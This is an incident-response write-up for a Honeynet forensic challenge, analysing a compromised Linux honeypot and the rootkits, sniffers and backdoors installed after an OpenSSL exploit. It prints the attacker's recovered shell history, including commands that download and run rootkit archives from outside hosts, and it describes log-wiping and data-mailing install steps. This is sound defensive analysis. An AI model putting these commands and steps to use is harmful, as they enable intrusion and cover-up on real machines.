Honeynet Scan of the Month 29 Challenge

Wolfgang Behounek (Wolfgang.Behounek -at- gmx.de)

Setup of the Investigation Environment

Recording of the compromised Machine

Preparation
Recording

Analysis of the fetched data

Analysis of the network connections and process information
Analysis of deleted files
Creation of the mactime List
Mounting of the Image
Analysis of unallocated Disk Space
Analysis with the MD5 list
Summary

Answers to the Questions

Setup of the Investigation Environment

The data gathering and investigation was conducted on a Pentium III machine with 256MB memory with Redhat Linux 8.0 installed.
We downloaded and installed VmWare 4 as explained in the vmware.com online help. Next, we downloaded, verified and unpacked the virtual host files of the compromised machine. The VmWare workstation was started with the UID of an ordinary user, not root. At the first startup of the virtual machine, we noted that:

The virtual host uses /dev/vmnet0 as its network interface, which by default is assigned to /dev/eth0 of the vmware host. Since we want to operate on a secured, isolated scene, this was not desirable.
The machine wants to set its virtual network interface into promiscuous mode, which leads to the suspicion that there is a network sniffer running on the virtual machine.
The IP address of the machine is 192.168.1.79; its subnet mask is 255.255.255.0.

With vmware-config.pl, we reconfigured vmware so that the virtual interface vmnet0 is used for "host only"-networking, which allows a network connection between the host and the virtual machine. The IP address assigned to this interface is set to 192.168.1.1.
Next, we installed in a second virtual machine a "reference"-installation of Redhat Linux 7.2. We used this machine to compile and statically link tools and commands being uses for the recording of the compromised machine. These tools were put on a CD-R.

Recording of the compromised Machine

Preparation

Because our actions will have some impact on the running system which will tamper with the fetched data, we have to consider in advance what data we really want and in which order we should fetch these data. The goal is to minimize the influence on the host and the data should be as unaltered as possible by our actions and by time.
A common recommodation for the fetching of data from the live host is that the most volatile data have to be saved first and the least volatile data last. So, we decided to fetch the data in the following order:
- active network connections
- cached data (arp cache, routing cache)
- process information, including an image of /dev/mem
- network interface information
- routing information
- kernel symbol table
- miscellanous (system uptime, uname...)
- All disk partitions
To miminize the trust in the system, we wanted to use as few as possible commands from the compromised machine. Instead, we prepared a CD-R with precompiled and statically linked versions of the gnu-binutils, fileutils and others, especially lsof and netcat. In addition, chkrootkit was put on this CD-R.
Because we wanted our data to be as consistent as possible, the data had to be fetched in a minimum of time. Ideally, we should have a snapshot of the complete system with all information at a given time. Therefore we decided to prepare a shellscript ("dosnapshot.sh") which was also put on the CD-R along with the statically linked tools.

Recording

First, to guarantee that there is no network connection to external systems, we disabled the physical network interface of the vmware host with "ifdown eth0".
To capture possible network traffic from the virtual machine, we started tcpdump, which listened on /dev/vmnet0; the virtual network interface to the compromised machine.
To allow the virtual machine to set its network interface into promiscuous mode, we did a "chmod a+w /dev/vmnet0".
Next, as ordinary user, we re-extracted the image files of the virtual machine to make sure we start in a defined state.
We started netcat as listener, which purpose was to save the typescript of our actions via the virtual net into a file. This file is saved as spm79.typescript.
Then we started vmware and resumed the virtual machine.
In the virtual machine, we mounted our CD-R, chdir'ed to it, and started with "doscript.sh" the recording of our session via net to the vmware host. To save the current output of the virtual terminal and our actions up to the point where we started doscript.sh, we made a snapshot of the X-Window of the virtual machine with xwd and later converted it into a png-file. It is provided here.
Next, we started the script "dosnapshot.sh". To avoid the start of a new subshell, we started the script in the current environment. Its output is saved along with the typescript of our actions; in the file spm79.typescript.
With the execution of this script we took an image of /dev/mem and saved it over the net via nc to the vmware host.
After the script, we saved the images of all partitions of the virtual machine, i.e. the root-filesystem in /dev/sda1 and the swap space in /dev/sda2. They are saved over the net with a simple script called "dosave.sh", which consists only of a "./dd if=$1 | ./nc -w 10 $2 33333". We used this script to avoid (time consuming) typing errors.
Finally, we started from the CD-R a precompiled version of chkrootkit. Because this alters the utimes of many files, we decided to do this at last.
Its output is also in the file spm79.typescript.

Analysis of the fetched data

The analysis was taken on the vmware host.

Analysis of the network connections and process information

By looking at the output of ./lsof -i -n -P -l in the typescript, we see following extraordinary network connections:

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME smbd 3137 0 6u IPv4 4571 TCP *:2003 (LISTEN) smbd 3137 0 16u IPv4 976 TCP *:443 (LISTEN) smbd 3137 0 17u IPv4 977 TCP *:80 (LISTEN) (swapd) 3153 0 16u IPv4 976 TCP *:443 (LISTEN) (swapd) 3153 0 17u IPv4 977 TCP *:80 (LISTEN) initd 15119 0 3u IPv4 15617 TCP *:65336 (LISTEN) initd 15119 0 5u IPv4 15619 TCP *:65436 (LISTEN) initd 15119 0 6u IPv4 16157 TCP 192.168.1.79:65336->213.154.118.200:1188 (ESTABLISHED) initd 15119 0 9u IPv4 15909 TCP 192.168.1.79:1146->199.184.165.133:6667 (ESTABLISHED) initd 15119 0 12u IPv4 16191 TCP 192.168.1.79:1149->64.62.96.42:6667 (ESTABLISHED) xopen 25239 0 8u IPv4 9972 UDP *:3049 xopen 25239 0 16u IPv4 976 TCP *:443 (LISTEN) xopen 25239 0 17u IPv4 977 TCP *:80 (LISTEN) xopen 25241 0 8u IPv4 12302 TCP *:3128 (LISTEN) xopen 25241 0 16u IPv4 976 TCP *:443 (LISTEN) xopen 25241 0 17u IPv4 977 TCP *:80 (LISTEN) lsn 25247 0 16u IPv4 976 TCP *:443 (LISTEN) lsn 25247 0 17u IPv4 977 TCP *:80 (LISTEN)

The output of "ps e -Alf --cols 3000" shows us following remarkable information:

040 S root 3137 1 0 69 0 - 475 do_sel 13:33 ? 0:03 smbd -D PWD=/tmp/sand HOSTNAME=localhost.localdomain MACHTYPE=i386-redhat-linux-gnu SHLVL=5 SHELL=/bin/false HOSTTYPE=i386 OSTYPE=linux-gnu HOME=/ TERM=dumb PATH=/usr/local/bin:/bin:/usr/bin _=/usr/bin/smbd -D 100 S root 3153 1 0 69 0 - 416 wait_f 13:33 ? 0:00 (swapd) PWD=/usr/bin HOSTNAME=localhost.localdomain MACHTYPE=i386-redhat-linux-gnu OLDPWD=/tmp/sand SHLVL=5 SHELL=/bin/false HOSTTYPE=i386 OSTYPE=linux-gnu HOME=/ TERM=dumb PATH=/usr/local/bin:/bin:/usr/bin _=/usr/bin/(swapd) 040 S root 3247 1 0 69 0 - 368 do_sel 13:33 ? 0:00 syslogd -m 0 PWD=/tmp/sand HOSTNAME=localhost.localdomain MACHTYPE=i386-redhat-linux-gnu LANG=en_US SHLVL=5 SHELL=/bin/false HOSTTYPE=i386 OSTYPE=linux-gnu HOME=/ TERM=dumb PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin _=/sbin/initlog 140 S root 3252 1 0 69 0 - 496 do_sys 13:33 ? 0:00 klogd -2 PWD=/tmp/sand HOSTNAME=localhost.localdomain MACHTYPE=i386-redhat-linux-gnu LANG=en_US SHLVL=5 SHELL=/bin/false HOSTTYPE=i386 OSTYPE=linux-gnu HOME=/ TERM=dumb PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin _=/sbin/initlog 040 S root 25239 1 0 69 0 - 470 wait_f 15:32 ? 0:00 /lib/.x/s/xopen -q -p 3128 PWD=/lib/.x/s HOSTNAME=localhost.localdomain MACHTYPE=i386-redhat-linux-gnu SHLVL=4 SHELL=/bin/false HOSTTYPE=i386 OSTYPE=linux-gnu HOME=/ TERM=dumb PATH=/usr/local/bin:/bin:/usr/bin _=/lib/.x/s/xopen OLDPWD=/lib/.x 040 S root 25241 1 0 69 0 - 472 do_sel 15:32 ? 0:00 /lib/.x/s/xopen -q -p 3128 PWD=/lib/.x/s HOSTNAME=localhost.localdomain MACHTYPE=i386-redhat-linux-gnu SHLVL=4 SHELL=/bin/false HOSTTYPE=i386 OSTYPE=linux-gnu HOME=/ TERM=dumb PATH=/usr/local/bin:/bin:/usr/bin _=/lib/.x/s/xopen OLDPWD=/lib/.x 140 S root 25247 1 0 69 0 - 417 wait_f 15:32 ? 0:00 /lib/.x/s/lsn PWD=/lib/.x/s HOSTNAME=localhost.localdomain MACHTYPE=i386-redhat-linux-gnu SHLVL=4 SHELL=/bin/false HOSTTYPE=i386 OSTYPE=linux-gnu HOME=/ TERM=dumb PATH=/usr/local/bin:/bin:/usr/bin _=/lib/.x/s/lsn OLDPWD=/lib/.x 040 S root 15119 1 0 69 0 - 574 do_sel 16:02 ? 0:00 initd PWD=/etc/opt/psybnc HOSTNAME=sbm79.dtc.apu.edu LESSOPEN=|/usr/bin/lesspipe.sh %s USER=root MACHTYPE=i386-redhat-linux-gnu MAIL=/var/spool/mail/root INPUTRC=/etc/inputrc OLDPWD=/etc/opt BASH_ENV=/root/.bashrc LANG=en_US LOGNAME=root SHLVL=2 SHELL=/bin/bash USERNAME=root HOSTTYPE=i386 OSTYPE=linux-gnu HISTSIZE=1000 HOME=/root TERM=xterm PAT H=:PATH SSH_TTY=/dev/pts/0 _=./initd

We can combine these two fields and the output of "./lsof -n -P -l" and notice:

"/usr/bin/smbd -D" had as present working directory /tmp/sand and listened on ports tcp/2003, 443 and 80. It had http logfiles in /var/log/httpd opened for writing.
/usr/bin/(swapd) listened on tcp/443 and 80. It also had http logfiles in /var/log/httpd, and /usr/lib/libice.log opened for writing.
If we look at the virtual console of the machine (here), we see that the kernel complained that "(swapd)" uses obsolete packet socket flags. This and the message "Promiscuous mode enabled" indicates that "(swapd)" is a network sniffer.
syslogd and klogd had as present working directory /tmp/sand. This unusual working directory indicates that syslogd and klogd have been restarted after the last reboot.
There are two instances of /lib/.x/s/xopen. The first (PID=25239) listened on port udp/3049, tcp/443 and tcp/80. The second (PID=25241) listened on port tcp/443, tcp/80 and tcp/3128. Both were started with the commandline "/lib/.x/s/xopen -q -p 3128". PID 25239 had /lib/.x/install.log opened for writing.
An instance of "/lib/.x/s/lsn", listening on ports tcp/443 and 80.
Open files for writing were http logfiles in /var/log/httpd and /lib/.x/s/mfs. We will later see that lsn is a network sniffer and this file is the logfile.

An instance of "initd" (which actually is the psyBNC IRC bouncer, as we will later see), which listened on ports 65336 and 65436, and had 3 open network connections.
We look at the first packet of the network traffic between 192.168.1.79:65336 and 213.154.118.200:1188 by looking in the output of tcpdump:

/usr/sbin/tcpdump -X -n -r sotm29.tcpdump "host 213.154.118.200" 13:22:56.510346 192.168.1.79.65336 > 213.154.118.200.1188: P 4174526037:4174526159(122) ack 5552923 win 6936 (DF) 0x0000 4500 00a2 506c 4000 4006 db8f c0a8 014f E...Pl@.@......O 0x0010 d59a 76c8 ff38 04a4 f8d2 3655 0054 bb1b ..v..8....6U.T.. 0x0020 5018 1b18 f772 0000 3a2d 7073 7942 4e43 P....r..:-psyBNC 0x0030 2170 7379 424e 4340 6c61 6d33 727a 2e64 !psyBNC@lam3rz.d 0x0040 6520 5052 4956 4d53 4720 5b5b 5b6b 6762 e.PRIVMSG.[[[kgb 0x0050 5d5d 5d20 3a53 756e 2041 7567 2031 3020 ]]].:Sun.Aug.10. 0x0060 3230 3a33 353a 3031 203a 5573 6572 2073 20:35:01.:User.s 0x0070 6963 2028 5b5b 5b6b 6762 5d5d 5d29 2064 ic.([[[kgb]]]).d 0x0080 6973 636f 6e6e 6563 7469 6e67 2066 726f isconnecting.fro 0x0090 6d20 7374 6f6e 6564 2073 6572 7665 722e m.stoned.server. 0x00a0 0d0a ..
[...]

We can assume that this is the command port between the IRC bouncer and our attacker from 213.154.118.200.

The next 2 connections to 199.184.165.133 (undernet.irc.rcn.net aka fairfax.va.us.undernet.org) and 64.62.96.42 (mesa.az.us.undernet.org) to port 6667 (ircd) look like:

/usr/sbin/tcpdump -X -n -r sotm29.tcpdump "host 64.62.96.42" 13:22:29.969365 192.168.1.79.1149 > 64.62.96.42.ircd: P 0:9(9) ack 1 win 34752 <nop,nop,timestamp 10802589 404409721> (DF) 0x0000 4500 003d 49e9 4000 4006 8e72 c0a8 014f E..=I.@.@..r...O 0x0010 403e 602a 047d 1a0b 01c8 c3cc cbd7 603c @>`*.}........`< 0x0020 8018 87c0 87ad 0000 0101 080a 00a4 d59d ................ 0x0030 181a cd79 5049 4e47 203a 700d 0a ...yPING.:p.. 13:22:35.137116 192.168.1.79.1149 > 64.62.96.42.ircd: FP 9:33(24) ack 1 win 34752 <nop,nop,timestamp 10803107 404409721> (DF) 0x0000 4500 004c 49ea 4000 4006 8e62 c0a8 014f E..LI.@.@..b...O 0x0010 403e 602a 047d 1a0b 01c8 c3d5 cbd7 603c @>`*.}........`< 0x0020 8019 87c0 ed12 0000 0101 080a 00a4 d7a3 ................ 0x0030 181a cd79 5155 4954 203a 6368 616e 6769 ...yQUIT.:changi 0x0040 6e67 2073 6572 7665 7273 0d0a ng.servers..

This is the connection between the IRC bouncer and the IRC servers.

We see that "smbd -D", "(swapd)", xopen and lsn were all listening on ports 80/tcp and 443/tcp and had log files in /var/log/httpd opened for write access. We can assume that these open files and ports were inherited from a parent process, this would apparently be the apache http server.

Analysis of deleted files

We tried to recover all deleted files with usable contents (i.e. size > 0) with these commands from sleuthkit:

# ils -f linux-ext3 -r ../sda1.dd | tail +4 | awk -F '|' '$11 > 0 {print $1}' | \ > while read inode > do > icat ../sda1.dd $inode > sda1_icat_$inode > done

This created the recovered data in the files sda1_icat_*. We could assign most of them their original filenames by looking in the output of lsof (to be found in the typescript):

sda1_icat_45307 - > /var/log/messages
sda1_icat_ 46914 -> /var/log/httpd/ssl_engine_log
sda1_icat_ 46924 - > /var/log/samba/log.nmbd
sda1_icat_ 46934 - > /var/log/httpd/access_log
sda1_icat_ 46935 - > /var/log/httpd/error_log

The remaining files could later be assigned according to the output of mactime (in timeline.20030807):
sda1_icat_ 46607 - > Directory inode of /var/log/samba
sda1_icat_ 46733 - > Directory inode of /var/log/httpd

The following 3 files contain very interesting information:

sda1_icat_ 46934 - > /var/log/httpd/access_log:

213.154.118.219 - - [10/Aug/2003:13:16:27 -0700] "GET / HTTP/1.1" 400 385 "-" "-" 213.154.118.219 - - [10/Aug/2003:13:16:37 -0700] "GET / HTTP/1.1" 400 385 "-" "-" 213.154.118.219 - - [10/Aug/2003:13:23:17 -0700] "GET /sumthin HTTP/1.0" 404 279 "-" "-"

sda1_icat_ 46914 -> /var/log/httpd/ssl_engine_log:

Following messages appear at the beginning of the file:

[10/Aug/2003 13:24:29 02937] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows) [10/Aug/2003 13:24:29 02937] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different

The remainder of the file contains messages like:

[10/Aug/2003 13:40:28 03272] [error] Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.800 (System error follows) [10/Aug/2003 13:40:28 03272] [error] System: No such file or directory (errno: 2)

sda1_icat_ 46935 - > /var/log/httpd/error_log:

[Sun Aug 10 04:02:01 2003] [notice] Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b DAV/1.0.2 configured -- resuming normal operations [...] [Sun Aug 10 13:16:27 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): / [Sun Aug 10 13:16:37 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): / [Sun Aug 10 13:23:17 2003] [error] [client 213.154.118.219] File does not exist: /var/www/html/sumthin [Sun Aug 10 13:24:29 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows) [Sun Aug 10 13:24:29 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different [Sun Aug 10 13:32:38 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows) [Sun Aug 10 13:32:38 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different The remainder of the file contains messages like: [Sun Aug 10 13:40:28 2003] [error] mod_ssl: Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.800 (System error follows) [Sun Aug 10 13:40:28 2003] [error] System: No such file or directory (errno: 2)

We note that:

the ssl-module of the apache-daemon uses OpenSSL/0.9.6b, which contains a buffer overflow hole (http://www.kb.cert.org/vuls/id/102795) during the SSL2 handshake process.
the contents of the last 3 files resembles error messages created by the Apache/mod_ssl Worm (http://www.auscert.org.au/render.html?it=2409&cid=1).

This leads to the conclusion that the attacker, coming from 213.154.118.21, initially broke at 13:24:29 PDT into the machine using the same exploit as the Apache/mod_ssl Worm.

Creation of the mactime List

For further analysis we need a time line of file activity created by mactime. We created the timeline with following code:

# mkdir data # cd data # mactime -b body -i day dayindex -z PDT > timeline

With the created file dayindex, which contains statistics about how many files are created/modified/read at a given day, we look up in the file timeline what happened at the dates Jul 14 and Aug 06. Because there were so many files/directories created at Jul 14, this is obviously the installation date. At Aug 06 lots of files were opened for reading, what probably was caused by the creation of the MD5 list of the system before it was compromised. Therefore, we can concentrate on what happened after Aug 06:

# mactime -b body -z PDT 08/07/2003 > timeline.20030807

Mounting of the Image

For easy access to the files on the filesystem of the compromised machine we need to mount the image of the filesystem via a loopback device. We could achieve this with following commands:

# cp sda1.dd sda1.fsdebug.dd # losetup /dev/loop1 /home/ich/sotm29/sda1.fsdebug.dd # debugfs -w /dev/loop1 debugfs 1.27 (8-Mar-2002) debugfs: feature -needs_recovery Filesystem features: has_journal filetype sparse_super debugfs: quit # mount -t ext2 -o ro,noexec,noatime,nodev /dev/loop1 /mnt/tmp

Analysis of unallocated Disk Space

To analyse the unallocated space, we used the tools from sleuthkit and followed the hints in http://www.sleuthkit.org/sleuthkit/docs/ref_fs.html.

dls -f linux-ext3 ../sda1.dd > sda1.dls
strings -t d sda1.dls > sda1.dls.strings

We searched trough the output file sda1.dls.strings and found following information:

At offset 688128 a piece of code which looks like a piece of a deleted bash_history file:

wget geocities.com/mybabywhy/rk.tar.gz tar -zxvf rk.tar.gz cd sand ./install wget geocities.com/gavish19/abc.tgz wget geocities.com/gavish19/abc.tgz wget www.lugojteam.as.ro/rootkit.tar ls -a cd informatii wget www.lugojteam.as.ro/rootkit.tar cd /tmp ls -a wget www.lugojteam.as.ro/rootkit.tar wget irinel1979.go.ro/mass2.tgz

To see what rk.tar.gz contains, we downloaded rk.tar.gz from geocities.com and unpacked it. It creates a directory named "sand" and contains serveral probably trojaned versions of binaries like ps, top and netstat, a packet sniffer, several config files and an install script (provided here). According to this script, the rookit installation had following impact on the system:

It stopped syslogd, klogd and atd. According to the recovered messages file, this happened at 13:33:32 PDT.
It resetted the attributes of many system files, later they were set to AacdisSu. Because this changed the ctime of the system files, we will see later in the output of mactime that this happened at 13:33:57 PDT.
The editor "pico" was installed.
It backuped the system binaries bin/netstat, /bin/ls, /bin/ps, /usr/bin/top, /sbin/ifconfig into the directory /usr/lib/libshtift and replaced them with trojaned binaries contained in the rootkit, and configuration files for these binaries were copied to /dev/ttyo[paf].
The commands sense, sl2, logclear and crontabs were moved to /usr/bin. /etc/rc.d/init.d/functions was changed to start crontabs. With a "strings crontabs" we see that crontabs is a binary which starts "smbd -D".
With the execution of the command "ava" the ssh-server "smbd -D" was moved to /usr/bin and started, and its configuration files were moved to /usr/include/icekey.h, /usr/include/iceconf.h and /usr/include/iceseed.h. From the recovered /var/log/messages we see that this happened at 13:33:33 PDT, and that "smbd -D" listened on port 2003.
A binary named "(swapd)" was compiled and moved to /usr/bin. A file named lpi (a startup script for swapd) was moved to /usr/bin, a file named libsss was moved to /usr/lib. "(swapd)" was started via lpi; and "smbd -D" was started the second time via crontabs (at 13:33:35). The file lpi was later deleted.
several system information was collected and mailed to the addresses mybabywhy@yahoo.com and buskyn17@yahoo.com .
For whatever reason, the directory /dev/hpd was created.
The contents of /var/log were recursively deleted. This includes the httpd-, samba- and system accounting (sa)-logs.
syslogd and klogd were started. Because through this via /etc/rc.d/init.d/functions the ssh-server "smbd -D" was started the third time. Since we saw in the output of ps in the typescript that the current working directory of syslogd and klogd was "/tmp/sand", we can assume that this was the place where the rootkit was unpacked.

According to the recovered /var/log/messages and the timeline, the execution of this script and therefore the installation and start of the binaries "smbd -D" and "(swapd)" happened between 13:33:32 and 13:33:57 PDT

If we do a "strings /usr/sbin/smbd\ -D", we see that it works as a ssh-daemon. If we look further, we see the lines
+-[ User Login Incoming ]----------- --- --- - - | username: %s password: %s%s hostname: %s +----------------------------------- ----- --- -- -- -So we can assume that this binary is a ssh-server, which is modified to log the login informations. Since we cannot see in the output of strings a reasonable reference to a logfile, and we else cannot find any string containing "User Login Incoming" in the disk and memory images, we assume that there was no information logged in the filesystem.

We have seen in the output of lsof in the typescript that the file /usr/lib/libice.log was opened for writing by "(swapd)". This file contains the lineproxyscan.undernet.org => 192.168.1.79 [23]
which proves the assumption that "(swapd)" is a network sniffer.

At offset 42307584, we find another installation script, which is provided here. This downloads under the directory /tmp/rk following files:
inst
kflushd
adore/adore.c
adore/ava.c
adore/dummy.c
adore/exec.c
adore/exec-test.c
adore/libinvisible.c
adore/libinvisible.h
adore/cleaner.c
adore/Makefile
ssh/sp0
ssh/sp0_cfg
ssh/sp0_key
ssh/sp0_seed

The file inst

installs the kernel-based rootkit adore under /usr/lib.

installs a new ssh daemon "sp0" with its configuration files under /usr/lib.

links /root/.bash_history to /dev/null.

deletes /var/log/messages (again) and links it to /dev/null. But because syslogd and klogd have not been restarted this time, they can still write with the open filedescriptor to /var/log/messages.

patches /etc/rc.d/rc.sysinit to start a executable named "kflushd", which doesn't exist in the entire filesystem. We assume that the download of this file failed. We downloaded this file ourselves and saw that this file was supposed to start adore and the ssh daemon sp0. Since there is no trace of kflushd in our fetched data, we conclude that neither adore nor sp0 were started.

The timeline created by mactime tells us that from 15:30:48 to 15:30:54 PDT adore.o and cleaner.o were built and sp0 and its files were copied to /usr/lib.

At offset 42483200 lies the beginning of a tarfile of an another rootkit ("sonkeriki rootkit"). We could partly extract this tarfile from the unallocated space using these commands:

dcat -f linux-ext3 ../sda1.dd 38994 3675648 > yy tail -c +3585 yy > rootkit.tar tar xivf rootkit.tar --ignore-failed-read

The only hint that this rootkit had not only been downloaded but also unpacked and installed is that according to /var/log/maillog at 14:14:01 PDT a mail has been sent to jijeljijel@yahoo.com - this email address was used in the installation script of the rootkit.

Analysis with the MD5 list

Fortunately honeynet.org provided us with an MD5 list of all files before the machine was compromised. By creating an MD5 list of all files of the machine in its current state and comparing these 2 lists we are able to detect what files were deleted, changed and/or added.

The list was created with following commands:

# cd /mnt/tmp # find . -type f -print | xargs --replace md5sum {} > /home/ich/sotm29/linusotm29.md5s # cd /home/ich/sotm29 # cat linusotm29.md5s | perl -pe 's#(^[^.]*)\.(.*$)#$1$2#;' | sort -k 2 >sotm29-md5s.sort

The last command line with the perl code was neccessary to "normalize" the new list and thus make it comparable to the list provided by honeynet.org.

# wget http://project.honeynet.org/scans/scan29/linux-suspended-md5s.gz # gzip -dc linux-suspended-md5s.gz | sort -k 2 > linux-suspended-md5s.sort # diff linux-suspended-md5s.sort sotm29-md5s.sort > suspended-sotm29.diff

The output file suspended-sotm29.diff is provided here. In addition to our observations up to now we note following changes, additions or deletions:

/bin/ls, /bin/netstat, /bin/ps, /sbin/ifconfig, /usr/bin/top
We already know from the output of chkrootkit and by looking at the rootkit rk.tar.gz that these binaries are trojaned. By doing a e.g. "strings <binary> | less" we see references to the files /dev/ttyoa,/dev/ttyof and /dev/ttyop, which contain what information should be hidden in the output of these 5 binaries. The original versions of the binaries were backuped in /usr/lib/libshtift.

/usr/bin/crontabs
/usr/bin/smbd -D
/usr/include/iceconf.h
/usr/include/icekey.h
/usr/include/icepid.h
/usr/include/iceseed.h
/etc/rc.d/init.d/functions
/usr/bin/logclear
/usr/bin/(swapd)
/usr/bin/x.pid
/usr/lib/libice.log
/usr/bin/sense
/usr/bin/sl2
/usr/lib/libsss
These are part of the (classic) rootkit rk.tar.gz, discussed above. /etc/rc.d/init.d/functions was changed to start /usr/bin/crontabs (which starts /usr/bin/smbd -D).

/usr/lib/sp0
/usr/lib/sp0_cfg
/usr/lib/sp0_key
/usr/lib/sp0_seed
/usr/lib/adore.o
/usr/lib/cleaner.o
/dev/hdx1
/dev/hdx2
We already have seen that these files are a ssh daemon and the kernel based rootkit adore, which probably never have been started. The files /dev/hdx1 and /dev/hdx2 are empty and were created during the installation of adore and sp0, as one can see in the timeline.

/lib/.x/
/lib/.x/.boot
/lib/.x/cl
/lib/.x/hide
/lib/.x/hide.log
/lib/.x/inst
/lib/.x/ip
/lib/.x/log
/lib/.x/install.log
/lib/.x/sk
/lib/.x/s
/lib/.x/s/lsn
/lib/.x/s/mfs
/lib/.x/s/pid
/lib/.x/s/port
/lib/.x/s/r_s
/lib/.x/s/s_h_k
/lib/.x/s/s_h_k.pub
/lib/.x/s/sshd_config
/lib/.x/s/xopen

There is under /lib/.x the SucKIT kernel based rootkit, a ssh server (xopen) and a sniffer (lsn). The file .boot is the startup script:

It starts /lib/.x/s/xopen, which listens then on port 3128/tcp.
It starts /lib/.x/s/lsn, another packet sniffer. We see in the recovered /var/log/messages that this happened at 15:30:30 PDT.
It starts suckit.
It collects status information and sends this to skiZophrenia_sick@yahoo.com. According to /var/log/maillog, the mail has been sent at 15:32:33 PDT.

A "strings /lib/.x/s/xopen" reveals that this binary is another ssh daemon.

The file install.log contains repetive lines of the following form:
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[] ##################################################### # SucKIT version 1.3b by Unseen <unseen@broken.org> # #####################################################
This is an indication that SucKIT was never running successfully.

We saw in the output of lsof that lsn had /lib/.x/s/mfs opened for writing. Since this file contains logs of telnet- and ftp-connections, we can conclude this is the log file of the packet sniffer lsn.

/.bash_history
/root/sslstop/sslport
/root/sslstop/sslstop
/root/sslstop/sslport.c
/root/sslstop/sslstop.c
/root/sslstop.tar.gz
/etc/httpd/conf/httpd.conf

The file /.bash_history contains the shell history of a session:

id uptime ./inst hostname hostname sbm79.dtc.apu.edu cd /dev/shm/sc ./install sbm79.dtc.apu.edu rm -rf /var/mail/root ps x cd /tmp ls -a wget izolam.net/sslstop.tar.gz ps x ps aux | grep apache kill -9 21510 21511 23289 23292 23302

We see that after some installation, the attacker deleted the mail of root, downloads an archive named sslstop.tar.gz and then obviously kills all apache processes.
According to the timeline, these files were created from 15:50:46 PDT to 15:52:00 PDT. The purpose of these files (as we see in the source code) is to alter the ssl-port of a apache-httpd by changing its configuration file /etc/httpd/conf/httpd.conf. In fact, if we look into /etc/httpd/conf/httpd.conf, its ssl-port has been changed to 114. The attacker then stopped httpd and tried to start the http daemon at 15:52:12. This failed because it missed the error log file.
Because there are some important commands missing in /.bash_history, we can assume that the attacker used several shells simultaneusly.

/etc/opt/psyBNC2.3.1.tar.gz
/etc/opt/psybnc and its contents
According to the timeline, at 15:57:12 the IRC bouncer psyBNC has been downloaded and extracted to /etc/opt/psybnc. It was then compiled between 15:58:03 and 16:02:36. The resulting binary has been renamed to "initd", then it was started.
We have seen in the output of lsof in the typescript that "initd" has a logfile named "/etc/opt/psybnc/log/psybnc.log" opened for writing. If we look in this file, we see a trace of the actions of the attacker with the IRC bouncer. He created 2 users (sic and redcode) and with them opened network connections to mesa.az.us.undernet.org and fairfax.va.us.undernet.org, both port 6667. These network connections were still open when we started the investigation.

Summary

Timeline of detected actions (given in PDT (GMT-7h))

13:24:29	Initial breakin using a buffer overflow hole during the SSL2 handshake process of OpenSSL. The attack originated from 213.154.118.21.
13:33:32 - 13:33:57	Download and installation of rk.tar.gz; start of "smbd -D" and "(swapd)".
14:14:01	Probable download of rootkit.tar.gz ("sonkeriki rootkit").
15:30:48 - 15:30:54	adore.o and cleaner.o were built and sp0 and its files were copied to /usr/lib. sp0 and adore have probably never been started because of a missing startup file "kflushd".
15:32:15	Download, installation and start of suckit, xopen and lsn. The execution of suckit failed.
15:49:47 - 15:52:23	Download and execution of /root/sslstop.tar.gz
15:54:24	Failed restart of httpd.
15:57:12 - 16:02:36	Download and installation of psyBNC.

Answers to the Questions

1. Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.

The easiest way to detect that the host was compromised is to look at the (virtual) system console. The kernel messages show that the network interface is set to promiscuous mode, which shouldn't happen in normal circumstances. This is a clear indication that there is something bad going on.
The process we used to further confirm is explained above in the chapter "preparation".

2. Explain the impact that your actions had on the running system.

By the securing and isolation of the scene we risked that network connections and cache date would time out.
As we mounted the CD-R, which contained our tools, following things happened:

It changed the atime of /etc/fstab.
It altered /etc/mtab (=changed the mtime and ctime)
The kernel loaded the modules ide-cd.o and cdrom.o.

With each process we started, the system memory (/dev/mem and swap space) was altered, and unallocated memory which maybe still contained useful data was overwritten.
The execution of chkrootkit changed the atimes of several system files, so we decided to execute chkrootkit at last.

3. List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).

This is an excerpt from the output of lsof -i -n -P -l, to be found in the typescript:

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME smbd 3137 0 6u IPv4 4571 TCP *:2003 (LISTEN) initd 15119 0 3u IPv4 15617 TCP *:65336 (LISTEN) initd 15119 0 5u IPv4 15619 TCP *:65436 (LISTEN) initd 15119 0 6u IPv4 16157 TCP 192.168.1.79:65336->213.154.118.200:1188 (ESTABLISHED) initd 15119 0 9u IPv4 15909 TCP 192.168.1.79:1146->199.184.165.133:6667 (ESTABLISHED) initd 15119 0 12u IPv4 16191 TCP 192.168.1.79:1149->64.62.96.42:6667 (ESTABLISHED) xopen 25239 0 8u IPv4 9972 UDP *:3049 xopen 25241 0 8u IPv4 12302 TCP *:3128 (LISTEN)

4. Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?

This is an excerpt from the output of netstat -anp, to be found in the typescript:

tcp 0 0 192.168.1.79:65336 213.154.118.200:1188 ESTABLISHED 15119/initd (1) tcp 0 9 192.168.1.79:1149 64.62.96.42:6667 ESTABLISHED 15119/initd (2) tcp 0 0 192.168.1.79:1146 199.184.165.133:6667 ESTABLISHED 15119/initd(3)

These connections are of the process named initd, which is in fact the irc-bouncer psyBNC.
